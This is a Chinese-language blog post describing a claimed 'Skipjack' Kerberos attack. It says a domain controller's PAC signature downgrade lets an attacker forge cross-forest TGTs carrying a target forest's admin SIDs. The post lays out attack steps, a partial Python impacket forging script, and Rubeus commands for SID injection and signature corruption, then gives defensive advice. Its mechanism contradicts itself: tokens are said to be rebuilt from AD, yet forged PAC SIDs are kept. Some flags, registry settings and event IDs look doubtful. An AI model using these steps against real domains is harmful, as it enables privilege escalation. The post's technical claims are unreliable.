Jun 23 2026 Off 摘要 Kerberos 票据中的特权属性证书承载着用户的组成员身份和安全标识符,其完整性由 KDC 的长期密钥签名保护。然而,当 PAC 签名验证失败时,Windows 域控制器的默认行为并非一律拒绝,而是在特定配置下(尤其是跨林信任场景中)采取降级策略——忽略 PAC 签名错误,转而使用 Active Directory 中存储的组成员身份重建用户的访问令牌。攻击者可构造 PAC 被篡改或签名缺失的 TGT,利用跨林信任的 SID 过滤与选择性认证盲区,将低权限用户提升为域管理员。 PAC 签名架构与信任边界 PAC 的双签名体系Kerberos PAC 是微软对标准 Kerberos 协议的扩展,嵌入在 TGT 和 ST 的授权数据字段中。它包含用户的 SID、组成员身份 SID 列表以及用于权限判断的额外信息。为了防止用户或恶意服务篡改 PAC 内容,微软采用了双签名机制:服务签名:使用目标服务账户的密钥对 PAC 内容进行签名,验证该 PAC 确由 KDC 为该服务签发。KDC 签名:使用 KDC 自身密钥对 PAC 进行二次签名,提供额外的完整性保障,防止拥有服务密钥的内部人员伪造 PAC。这两组签名数据存储在 PAC_SIGNATURE_DATA 结构中,分别包含签名类型(如 Kerberos、HMAC_SHA1_96)、签名算法标识符和签名值本身。PAC 结构及签名位置: +-------------------------------------------------------+ | PACTYPE (PAC 头部) | | - cBuffers (缓冲区数量) | | - Version (PAC 版本,通常为 0) | +-------------------------------------------------------+ | PAC Info Buffer 1 (缓冲区 1:通常为服务器签名结构) | | - ulType: 0x00000006 (SERVER_CHECKSUM) | | - cbBufferSize & offset | | -> [指向具体的服务器签名数据] | +-------------------------------------------------------+ | PAC Info Buffer 2 (缓冲区 2:通常为 KDC 签名结构) | | - ulType: 0x00000007 (PRIVILEGE_SERVER_CHECKSUM) | | - cbBufferSize & offset | | -> [指向具体的 KDC 签名数据] | +-------------------------------------------------------+ | PAC Info Buffer 3 (缓冲区 3:服务器凭据信息) | | - ulType: 0x00000001 (LOGON_INFO) | | - cbBufferSize & offset | | -> [指向用户 SID、用户组 SID、登录时间等主体信息] | +-------------------------------------------------------+ | ... (可包含其他类型的缓冲区,如客户端名称、UPN等) | +-------------------------------------------------------+ | 具体数据段 (Buffers Data) | | - 包含上述各个缓冲区所指向的实际数据 | +-------------------------------------------------------+ PAC 验证逻辑与降级触发器当域控制器处理认证请求时,LSA 中的 KdcVerifyPacSignature 函数会对 PAC 签名进行验证。正常情况下,若任一签名无效,域控制器应拒绝票据并记录审核失败。但 Windows 同时实现了一套降级策略:若域控制器在本地 AD 数据库中能够找到与用户 SID 对应的账号对象,且该对象包含完整的组成员身份信息,域控可以选择忽略 PAC 签名错误,直接使用 AD 中的组成员身份构建令牌。 这一设计的初衷是兼容遗留系统,避免因 PAC 签名算法升级导致旧版域控完全无法处理新格式票据。然而,该降级逻辑在跨林信任场景中尤为危险——当用户来自受信任的外部林时,目标域控可能完全无法验证外部林的 KDC 签名(因为缺乏信任密钥),而 PAC 中的 SID 历史信息又允许外部用户声明目标林的组成员身份。跨林信任中的 SID 过滤黑洞在典型的跨林信任中,msDS-TrustForestTrustInfo 属性控制着 SID 过滤行为。默认情况下,Windows Server 2012 R2 及更高版本启用了 SID 过滤,使得来自外部林的用户无法在 PAC 中携带目标林的高权限 SID。但若信任关系被配置为 “禁用 SID 过滤”(例如与旧版 NT4 域或特定合作伙伴信任),则外部用户可以声明任意 SID——包括目标林的企业管理员组 S-1-5-21-<domain>-519。结合 PAC 签名降级行为,攻击者可以构造一个 PAC 被篡改(声明高权限 SID)但签名无效或缺失的 TGT。当该 TGT 被提交到目标域控时,由于签名验证失败,域控进入降级模式,直接从 AD 检索该用户在目标林中的对应账户(或通过 SID 历史映射)并构建令牌。若信任禁用了 SID 过滤,攻击者即可将其自声明的高权限 SID 植入令牌,完成权限提升。 Skipjack 攻击路径:从无效签名到域管理员 攻击前提攻击者已控制受信任林(林 A)中一个普通用户账户。林 A 与目标林(林 B)之间建立了外部信任或林信任,且 SID 过滤被禁用。目标林 B 中存在一个与攻击者账户名相同的用户(或通过名称后缀映射),或者攻击者利用 SID 历史将高权限 SID 注入到用户令牌。攻击步骤获取 TGT:攻击者在林 A 中为其控制的账户请求 TGT。构造恶意 PAC:修改 TGT 中的 PAC 内容,添加林 B 的域管理员组 SID,并故意删除或损坏 KDC 签名和服务签名。跨林提交 TGT:使用此篡改后的 TGT 向林 B 的域控制器请求服务票据(ST),或以该 TGT 直接进行认证。触发降级:林 B 的域控在验证 PAC 签名时失败。由于信任关系允许跨林认证,域控检查本地 AD 中是否存在对应用户(或 SID 历史映射),并因签名无效而启用降级模式——从 AD 中重建用户令牌,而非依赖 PAC 中的组成员身份。权限提升:若信任禁用了 SID 过滤,域控将保留 PAC 中声明的 SID 列表,包括攻击者伪造的域管理员 SID。降级模式下重建的令牌包含这些高权限 SID,攻击者获得目标林的域管理员权限。这一攻击路径得名 Skipjack——因为攻击者“跳过”了 PAC 签名的完整性检查,直接“钓取”了域控的降级逻辑。 核心利用代码 生成带有无效签名的恶意 PAC #!/usr/bin/env python3 """ skipjack_forge.py — 构造包含无效 PAC 签名的 TGT 以实现降级攻击 依赖:pip install impacket pyasn1 原理: 1. 解析原始 TGT 的 AS-REP 2. 修改 PAC 中的 GROUP_MEMBERSHIP 数组,注入目标高权限 SID 3. 删除或损坏 PAC 的 KDC 签名和服务签名 4. 重新封装票据 """ from impacket.krb5 import constants from impacket.krb5.asn1 import AS_REP, EncTicketPart, Ticket, AuthorizationData, AD_IF_RELEVANT from impacket.krb5.types import Principal, KerberosTime from impacket.krb5.crypto import _enctype_table from pyasn1.codec.der import decoder, encoder from pyasn1.type import univ import random defextract_pac(enc_ticket_part: bytes, key: bytes) -> bytes: """解密票据并提取 PAC 数据""" # 使用服务密钥解密 EncTicketPart # 简化示例,实际需使用对应的加密类型 # ... return pac_bytes defmodify_pac(pac_bytes: bytes, target_sid: str) -> bytes: """向 PAC 的 GROUP_MEMBERSHIP 中添加高权限 SID""" # 此处需完整解析 PAC 结构,找到 GROUP_MEMBERSHIP 列表并追加 SID # 由于 PAC 结构复杂,以下为伪代码 sid_bytes = sid_to_bytes(target_sid) # 需实现 SID 转二进制 # 找到 GROUP_MEMBERSHIP 的缓冲区偏移,追加新的 SID # 注意更新 PAC 中的 GroupCount 字段 # ... return modified_pac defremove_signatures(pac_bytes: bytes) -> bytes: """删除或损坏 PAC 签名缓冲区""" # 将 KDC 签名和服务签名的缓冲区清零或长度置零 # 使得 KdcVerifyPacSignature 验证必然失败 # ... return pac_bytes defforge_tgt(tgt_as_rep: bytes, target_sid: str, service_key: bytes) -> bytes: """主流程:构造带有无效签名的 TGT""" as_rep = decoder.decode(tgt_as_rep, asn1Spec=AS_REP())[0] ticket = as_rep['ticket'] enc_part = ticket['enc-part']['cipher'] pac = extract_pac(enc_part, service_key) pac = modify_pac(pac, target_sid) pac = remove_signatures(pac) # 重新加密 enc-part 并包装票据 # 注意需重新计算相关校验和 # ... return forged_tgt_bytes if __name__ == '__main__': print("[*] Skipjack PAC Forgery") print("[*] 将目标域管理员 SID 注入 PAC 并损坏签名...") # 具体参数需从实际环境中获取 说明:实际攻击中,更常用的是利用 Rubeus 或自定义 Kerberos 库在 Windows 上直接操作。上述代码展示了 PAC 操纵的核心步骤——注入 SID、删除签名、重封装票据。使用 Rubeus 进行跨林信任降级攻击 # 1. 请求一个可转发的 TGT Rubeus.exe asktgt /user:attacker /password:Passw0rd /domain:trusted.local /dc:DC01.trusted.local /enctype:aes256 # 2. 使用 SID 注入和签名破坏的 /inject 模式 # (Rubeus 需自定义编译以支持签名破坏功能,以下为概念性命令) Rubeus.exe asktgt /user:attacker /password:Passw0rd /domain:trusted.local /injectSID:S-1-5-21-<TargetDomain>-519 /corruptSignature # 3. 使用篡改后的 TGT 向目标林请求服务票据 Rubeus.exe asktgs /service:cifs/DC.target.local /ticket:doIF... /ptt 防御策略 启用并强制 SID 过滤:在跨林信任上勾选“启用 SID 过滤”,并确保在双方林上实施。对于不需要的历史遗留信任,禁用 SID 过滤的选项。禁用 PAC 签名降级:通过组策略或注册表强制域控始终要求有效的 PAC 签名(HKLM\System\CurrentControlSet\Services\Kdc\Parameters 中的 KdcValidatePac 键值设为 1)。注意此设置可能导致旧版系统的兼容性问题。监控 Kerberos 事件日志:重点监视事件 ID 4769 的 Status 字段,以及事件 4826 (PAC 验证失败)。对来自外部林但 SID 包含本林特权组的请求立即告警。实施 ESAE 管理林:使用增强的安全管理环境隔离高权限账户,降低跨林攻击面。 结语 Kerberos PAC 的降级策略是微软为兼容性留下的一道后门,然而在复杂的跨林信任拓扑下,这道后门足以瓦解基于 SID 过滤的信任边界。Skipjack 攻击无需内核漏洞,无需 EOP,只需对 Kerberos 协议的深度理解和恰到好处的一个 PAC 篡改。 Post navigation Previous PostPrevious CT日志、SCT签发时间与证书透明度的时间回拨攻击Next PostNext 通过 AER 滥用和 ECRC 劫持实现 DMA 重定向